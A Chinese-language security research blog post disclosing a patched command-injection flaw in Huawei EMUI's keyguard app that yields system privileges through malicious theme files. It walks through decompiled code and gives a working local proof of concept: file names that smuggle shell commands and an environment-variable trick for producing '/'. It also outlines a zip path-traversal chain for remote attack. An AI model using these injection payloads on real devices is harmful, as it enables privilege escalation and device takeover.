作者:flanker017
(廣告:我的微信公眾號,分享前沿信息安全漏洞研究,歡迎關注)
各位Android用戶一定對主題包不陌生,這應該是Android相對于iOS可定制化的一大優勢。 說到主題包,各位會想到什么?這個?

哦不對,跑題了。那這個? 
好了又跑題了,下面是正文。兩年前,我們對EMUI做了一次審計,發現了數十個各種各樣的問題,從系統崩潰重啟到system/內核權限代碼執行,都早已報給了華為并得到了修復。 其中有些漏洞的挖掘和利用過程還是很有意思的,在這里總結成系列文章分享給大家。下面介紹的是一個通過惡意主題遠程和本地均可以發起攻擊拿到system權限的漏洞。在主題商店或者第三方渠道下載安裝了這樣一個主題,手機就會被拿到system權限。
EMUI keyguard應用中的system權限提升
EMUI中的鎖屏應用,也就是keyguard應用, 負責系統主題和鎖屏的下載、管理工作。 這段Manifest中可以看出,其以system uid運行,具有用戶態比較高的權限。
<manifest android:sharedUserId="android.uid.system" android:versionCode="30000" android:versionName="3.0.5.1" coreApp="true" package="com.android.keyguard" platformBuildVersionCode="21" platformBuildVersionName="5.0-eng.jenkins.20150930.140728" xmlns:android="http://schemas.android.com/apk/res/android">
對odex過后的文件做了下反編譯,下面這部分代碼引起了我們的注意。這部分代碼會在新主題被下載過之后執行,基本的作用是掃描主題存儲目錄,將所有文件名含有,對文件做相應刷新操作。
final class DownloadServiceHandler extends Handler {
private void downloadFinish(ArrayList arg5, boolean arg6) { //... UpdateHelper.switchChannelFilesName(DownloadService.this.getBaseContext(),".downloading",".apply", arg5); File[] v0 = UpdateHelper.queryChannelFiles(".apply");
if(v0 == null || v0.length <= 0)
{this.handleFailed();}
else
{
DownloadService.this.handleChannelDownloadFinish(arg5, arg6);
}
//… DownloadService繼續追下去
com.android.huawei.magazineunlock.update.UpdateHelper switchChannelFilesName
public static boolean switchChannelFilesName
(Context arg8, String arg9, String arg10, ArrayList arg11)
{
boolean v5;
File[] files=UpdateHelper.queryChannelFiles(arg9,arg11);
if(files == null || files.length == 0 )
{
v5 = false;
}
else
{
int i;
for(i = 0 ; i < files.length; ++i) {
String path = files[i].getAbsolutePath();
String newName = path.replaceAll(arg9,arg10);
if(!files[i].renameTo(new File(newName))
&&
!CommandLineUtil.mv("root",CommandLineUtil.addQuoteMark(path), CommandLineUtil.addQuoteMark(newName)))
{
Log.i("UpdateHelper" , "switch channel files , mv failed");
}
}
v5 = true;
} return v5;
}
看起來第一次是調用File.renameTo,如果失敗了,再次調用CommandLineUtil.mv函數。
queryChannelFiles函數的作用是掃描 /sdcard/MagazineUpdate/download目錄下的一級File,如果文件名包含通配符,那么返回該File.
CommandLineUtil.mv函數是做什么的?
public static boolean mv (String arg4, String arg5, String arg6 ) {
Object[] obj = new Object[2];
obj[0] = arg5.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg5) : arg5;
obj[1] = arg6.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg6) : arg6;
return CommandLineUtil.run(arg4 , "mv %s %s", obj); }
private static InputStream run (boolean arg6, String arg7, String arg8 , Object[] arg9) {
InputStream v0 = null ;
String[] str2 = new String[3];
if(arg9.length > 0) {
String str1 = String.format(arg8,arg9 );
if(!TextUtils.isEmpty (((CharSequence)arg7))) {
str2[0] = "/system/bin/sh";
str2[1] = "-c";
str2[2] = str1;
v0 = CommandLineUtil.runInner(arg6, str2);
}
} return v0;
}
這不是”/system/bin/sh -c”,命令注入了嘛! 
事情就這么結束了?
那當然不是,否則這個漏洞也沒必要寫個博客了。 仔細看下這個函數,我們要構造payload需要若干個條件
- 通過
CommandLIneUtil.addQuoteMark的過濾 - 讓第一次
renameTo失敗 - 構造出文件名包含命令執行語句的且合法的文件 這三項從簡到難。第一個最簡單,我們來看看
CommandLineUtil.addQuoteMark是如何過濾的:
Step1
public static String addQuoteMark(String arg2) { if(!TextUtils.isEmpty(((CharSequence)arg2)) && arg2.charAt(0) != 34 && !arg2.contains("*")) {
arg2 = "\"" + arg2 + "\"";
} return arg2;
}
這個好像沒什么用嘛…直接閉合下,KO
Step2
然后再來看第二個,如何讓renameTo失敗? 我們來看下Java 官方文檔:
renameTo
public boolean renameTo(File dest)
?
Renames the file denoted by this abstract pathname.
Many aspects of the behavior of this method are inherently platform-dependent: The rename operation might not be able to move a file from one filesystem to another, it might not be atomic, and it might not succeed if a file with the destination abstract pathname already exists. The return value should always be checked to make sure that the rename operation was successful.
大意就是,大爺我(Oracle)也不知道這幫孫子究竟把這個API實現成什么樣子了,不同平臺的不同孫子做法不一樣,因為他們對應的syscall實現不一樣。那么Android平臺上的JVM是不是這樣的一個孫子? 如下代碼告訴了我們結果:
Runtime.getRuntime.exec("touch /sdcard/1");
Runtime.getRuntime.exec("touch /sdcard/2");
System.out.println(new File("/sdcard/1").renameTo(new File("/sdcard/2")));
Err…沒這么簡單,返回的是true。 那我們再回過頭來看具體的syscall描述:
SYNOPSIS top
#include <stdio.h>
int rename(const char *oldpath, const char *newpath);
rename() renames a file, moving it between directories if required.
Any other hard links to the file (as created using link(2)) are
unaffected. Open file descriptors for oldpath are also unaffected.
Various restrictions determine whether or not the rename operation
succeeds: see ERRORS below.
If newpath already exists, it will be atomically replaced, so that
there is no point at which another process attempting to access
newpath will find it missing.
//...snip
oldpath can specify a directory. In this case, newpath must either
not exist, or it must specify an empty directory.
那么如果源文件是目錄,目標文件已存在且不是非空目錄,那么自然就返回false了。
Step3
再回過頭來看我們可以控制的參數,
String path = files[i].getAbsolutePath();
String newName = path.replaceAll(arg9,arg10);
if(!files[i].renameTo(new File(newName)) && !CommandLineUtil.mv("root",CommandLineUtil. addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) {
我們需要構造出合法的文件名,以此作為payload,實現代碼執行。但是問題就來了:文件名中是不能出現/這種路徑符號的(否則就成一個目錄了),但是沒有了這個路徑符號,我們又基本上無法執行任何有意義的命令!(即使reboot也是需要path的)
事實上,在最開始確認這個漏洞的時候,我思來想去,最終用了如下的payload來首先確定漏洞存在:
File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a"); input keyevent是少有的幾個不需要設置PATH也不需要絕對路徑就可以執行的命令,但是沒什么卵用。。。 
這時,我掐指一算,想起來了小時候日站的一個trick: bash/ash允許通過通配符的方式從已有的字符串中提取出局部字符串。 已有的字符串又有什么呢?環境變量
echo $ANDROID_DATA/data
S=${ANDROID_DATA%data}
echo $S
/
這樣我們就可以提取出一個/,以$S的形式表示。而這個在文件名中是完全合法的。通過如下代碼構造文件,隨后通過intent觸發service,我們就能夠實現以systemuid執行任意binary的目的。
void prepareFile1() throws IOException {
//File file = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".apply.a");
//File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
File file = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".apply.a");
File file2 = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".downloading.a");
file.createNewFile();
file2.mkdir();
}
void startPOCService(){
ChannelInfo info = new ChannelInfo();
info.downloadUrl = "http://172.16.4.172:8000/dummy";
info.channelId = "ddd";
info.size = 10110240;
ArrayList<ChannelInfo> list = new ArrayList<>();
list.add(info);
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.keyguard","com.android.huawei.magazineunlock.update.DownloadService"));
intent.setAction("com.android.keyguard.magazinulock.update.DOWNLOAD_CHANNEL");
intent.putParcelableArrayListExtra("update_list", list);
intent.putExtra("type",6);
startService(intent);
}
Chain to remote

但這個只是一個本地exp,有沒有辦法遠程呢? 我們注意到,所謂的主題文件,實際上是一個zip壓縮包。主題的安裝最終指向如下路徑:
public static void applyTheme(Context arg6 , String arg7) {
PackageManager packageManager0 = arg6\. getPackageManager();
HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
try {
packageManager0.getClass().getMethod("installHwTheme", String.class).invoke(packageManager0 ,
arg7);
} catch()//...
}
HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
}
這是一個在system_server中實現的服務,實現在huawei.android.hwutil.ZipUtil.unZipFile。代碼比較長,這里就不貼了。聰明的讀者應該已經意識到了 沒有過濾ZipEntry,可以實現路徑回溯。 我們只要在主題包中插入包含精心布置的命令執行字符串的entry,就可以實現本地攻擊同樣的效果。 說到這里,有個需要澄清的地方是:在Android5之后,主流機型system_server/system_app進程寫dalvik-cache的能力已經被SELinux禁止掉了,即使說他們都是systemuid。所以單個ZipEntry漏洞已經不存在通殺的利用方法。我們可能需要找一些動態加載的代碼進行覆蓋。 但并不妨礙我們將這個與上述漏洞結合起來,實現完整的遠程代碼執行。
綜述
One theme to system privilege? 上面的分析完整地告訴了這是如何達到的。鑒于攻擊的危害性,這里不會放出遠程利用的exploit,但是整個漏洞的利用過程,還是蠻有意思的XD
下期預告
"嘿嘿,前面不讓進,我就走后門" - EMUI中另一個system提權漏洞簡析。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/193/
暫無評論